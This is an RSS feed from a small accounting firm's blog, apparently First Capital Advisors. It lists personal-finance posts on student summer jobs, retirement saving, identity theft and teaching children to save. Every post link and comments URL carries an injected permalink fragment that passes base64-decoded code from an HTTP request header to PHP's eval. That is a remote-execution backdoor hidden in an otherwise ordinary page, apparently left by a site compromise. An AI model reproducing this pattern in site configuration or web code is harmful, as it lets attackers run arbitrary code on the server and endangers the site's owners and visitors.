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	<title>First Capital Advisors, LLC &#187; education</title>
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	<link>http://www.fcallc.biz/blog</link>
	<description>Accounting, Bookkeeping, Tax, &#38; Payroll Solutions</description>
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		<title>Students: Make the most of your summer job.</title>
		<link>http://www.fcallc.biz/blog/2011/07/16/students-make-the-most-of-your-summer-job/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.fcallc.biz/blog/2011/07/16/students-make-the-most-of-your-summer-job/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Sun, 17 Jul 2011 03:24:07 +0000</pubDate>
		<dc:creator>flore</dc:creator>
				<category><![CDATA[education]]></category>
		<category><![CDATA[employment]]></category>
		<category><![CDATA[personal finance]]></category>
		<category><![CDATA[Savings]]></category>

		<guid isPermaLink="false">http://www.fcallc.biz/blog/?p=293</guid>
		<description><![CDATA[This summer, many students will be taking on summer jobs.  However, many are unaware of the tax consequences involved with employment.  Additionally, many students fail to establish a savings goal.  For example: 1. Form W-4, Employee’s Withholding Allowance Certificate must be completed.  Employers use this form in order to withhold taxes from your paycheck.  The [...]]]></description>
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		<title>What are your barriers to saving?</title>
		<link>http://www.fcallc.biz/blog/2011/03/01/what-are-your-barriers-to-saving/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.fcallc.biz/blog/2011/03/01/what-are-your-barriers-to-saving/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Tue, 01 Mar 2011 00:00:57 +0000</pubDate>
		<dc:creator>flore</dc:creator>
				<category><![CDATA[consumer laws]]></category>
		<category><![CDATA[credit cards]]></category>
		<category><![CDATA[education]]></category>
		<category><![CDATA[investing]]></category>
		<category><![CDATA[personal finance]]></category>
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		<category><![CDATA[credit card payment]]></category>
		<category><![CDATA[retirement]]></category>

		<guid isPermaLink="false">http://www.fcallc.biz/blog/?p=266</guid>
		<description><![CDATA[             I came across this great article on Americasaves.org.  Many people have difficulty saving for one reason or another.  In this article, the writer shares some great tips to help and encourage people to save. The topics that she discusses are listed below: Does the Cost of Living Keep You from Saving? Do You Find [...]]]></description>
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		<title>Women need to save more for retirement</title>
		<link>http://www.fcallc.biz/blog/2011/01/31/women-need-to-save-more-for-retirement/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.fcallc.biz/blog/2011/01/31/women-need-to-save-more-for-retirement/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Sun, 30 Jan 2011 23:04:16 +0000</pubDate>
		<dc:creator>flore</dc:creator>
				<category><![CDATA[education]]></category>
		<category><![CDATA[investing]]></category>
		<category><![CDATA[personal finance]]></category>
		<category><![CDATA[Savings]]></category>
		<category><![CDATA[retirement]]></category>

		<guid isPermaLink="false">http://www.fcallc.biz/blog/?p=258</guid>
		<description><![CDATA[  I recently came across an article about why women should save more for retirement.  Interesting I thought. So I kept reading. The primary reason that we should save more is because we tend to outlive men.  And the longer we live, the more we need in retirement savings.  This means that it is important [...]]]></description>
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		<title>Action Items for the New Year</title>
		<link>http://www.fcallc.biz/blog/2010/12/20/action-items-for-the-new-year/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.fcallc.biz/blog/2010/12/20/action-items-for-the-new-year/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Mon, 20 Dec 2010 14:28:41 +0000</pubDate>
		<dc:creator>flore</dc:creator>
				<category><![CDATA[credit cards]]></category>
		<category><![CDATA[education]]></category>
		<category><![CDATA[investing]]></category>
		<category><![CDATA[personal finance]]></category>
		<category><![CDATA[Savings]]></category>
		<category><![CDATA[credit report]]></category>
		<category><![CDATA[debt management]]></category>

		<guid isPermaLink="false">http://www.fcallc.biz/blog/?p=255</guid>
		<description><![CDATA[I wrote this blog two years ago as a means of encouraging readers to prepare for the New Year.  Well, two years later, this message is still relevant as the times have not changed much from the prior years. Therefore, this message bears repeating. As 2010 draws to a close, many are hopeful for significant [...]]]></description>
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		<title>National Protect Your Identity Week: October 17-23</title>
		<link>http://www.fcallc.biz/blog/2010/10/18/national-protect-your-identity-week-october-17-23/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.fcallc.biz/blog/2010/10/18/national-protect-your-identity-week-october-17-23/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Sun, 17 Oct 2010 18:15:46 +0000</pubDate>
		<dc:creator>flore</dc:creator>
				<category><![CDATA[consumer laws]]></category>
		<category><![CDATA[education]]></category>
		<category><![CDATA[personal finance]]></category>
		<category><![CDATA[credit report]]></category>

		<guid isPermaLink="false">http://www.fcallc.biz/blog/?p=251</guid>
		<description><![CDATA[The week of October 17th-23rd is designated as National Protect Your identity Week.  This week is geared towards educating the public about identity theft and how to protect yourself and the ones you love.    The website protectyouridnow.org  has several resources that will help you with this endeavor. Other useful tips that you can follow include: [...]]]></description>
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		<title>Useful Tips from the IRS to Help Protect Your Identity</title>
		<link>http://www.fcallc.biz/blog/2010/08/22/useful-tips-from-the-irs-to-help-protect-your-identity/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.fcallc.biz/blog/2010/08/22/useful-tips-from-the-irs-to-help-protect-your-identity/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Sun, 22 Aug 2010 14:04:21 +0000</pubDate>
		<dc:creator>flore</dc:creator>
				<category><![CDATA[consumer laws]]></category>
		<category><![CDATA[education]]></category>
		<category><![CDATA[personal finance]]></category>
		<category><![CDATA[Taxes]]></category>
		<category><![CDATA[credit card payment]]></category>
		<category><![CDATA[tax credit]]></category>

		<guid isPermaLink="false">http://www.fcallc.biz/blog/?p=246</guid>
		<description><![CDATA[Identity theft is so prevalent these days.  It is too easy to have your social security number stolen.  It has actually happened to me.  Someone stole my identity and filed a tax return using my social security number.  Luckily for me, I caught it early and was able to prevent any major damage to my [...]]]></description>
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		<title>Are you in the market for a new job?  Be sure to know your tax benefits.</title>
		<link>http://www.fcallc.biz/blog/2010/07/16/are-you-in-the-market-for-a-new-job-be-sure-to-know-your-tax-benefits/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.fcallc.biz/blog/2010/07/16/are-you-in-the-market-for-a-new-job-be-sure-to-know-your-tax-benefits/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Fri, 16 Jul 2010 09:03:03 +0000</pubDate>
		<dc:creator>flore</dc:creator>
				<category><![CDATA[education]]></category>
		<category><![CDATA[employment]]></category>
		<category><![CDATA[personal finance]]></category>
		<category><![CDATA[Taxes]]></category>

		<guid isPermaLink="false">http://www.fcallc.biz/blog/?p=239</guid>
		<description><![CDATA[The IRS frequently issues tips to taxpayers on various topics.  One topic of interest is tax benefits for job seekers. With so many people in the job market, the IRS feels that is imperative for job seekers to understand the tax benefits related to their job searches.  Job seekers are able to deduct most costs [...]]]></description>
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		<title>Free Government Resources on Personal Finance</title>
		<link>http://www.fcallc.biz/blog/2010/06/21/free-government-resources-on-personal-finance/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.fcallc.biz/blog/2010/06/21/free-government-resources-on-personal-finance/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Mon, 21 Jun 2010 09:18:45 +0000</pubDate>
		<dc:creator>flore</dc:creator>
				<category><![CDATA[credit cards]]></category>
		<category><![CDATA[education]]></category>
		<category><![CDATA[investing]]></category>
		<category><![CDATA[loans]]></category>
		<category><![CDATA[debt management]]></category>
		<category><![CDATA[personal finance]]></category>
		<category><![CDATA[Savings]]></category>

		<guid isPermaLink="false">http://www.fcallc.biz/blog/?p=225</guid>
		<description><![CDATA[Have you ever wondered what government resources are out there? Well, don’t keep wondering, simply click and take advantage of these great resources. Mymoney.gov-This site provides a wealth of resources for businesses and individuals alike.  Whether you are looking to educate yourself about personal finance or looking for financial management ideas for your business, this [...]]]></description>
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		<title>Money and Dating</title>
		<link>http://www.fcallc.biz/blog/2010/05/23/money-and-dating/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.fcallc.biz/blog/2010/05/23/money-and-dating/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Sun, 23 May 2010 10:02:58 +0000</pubDate>
		<dc:creator>flore</dc:creator>
				<category><![CDATA[personal finance]]></category>
		<category><![CDATA[Savings]]></category>
		<category><![CDATA[dating]]></category>
		<category><![CDATA[education]]></category>

		<guid isPermaLink="false">http://www.fcallc.biz/blog/?p=220</guid>
		<description><![CDATA[Should you date someone who makes more or less money than you do?  This is a tough question because we can’t help who we end up falling in love with.  But personal finances are a big part of any relationship and are a topic that we can’t avoid. I’ve been in situations where I earned [...]]]></description>
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		<slash:comments>0</slash:comments>
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		<title>Teaching your kids how to save</title>
		<link>http://www.fcallc.biz/blog/2010/04/11/teaching-your-kids-how-to-save/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.fcallc.biz/blog/2010/04/11/teaching-your-kids-how-to-save/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Sun, 11 Apr 2010 09:23:02 +0000</pubDate>
		<dc:creator>flore</dc:creator>
				<category><![CDATA[education]]></category>
		<category><![CDATA[investing]]></category>
		<category><![CDATA[personal finance]]></category>
		<category><![CDATA[Savings]]></category>

		<guid isPermaLink="false">http://www.fcallc.biz/blog/?p=216</guid>
		<description><![CDATA[It has often been said that a penny saved is a penny earned.  This phrase has been passed down from generations.  But sometimes it gets lost and not passed down from a parent to a child.  But how do we teach our children to save?  I learned from my frugal mom and from personal finance [...]]]></description>
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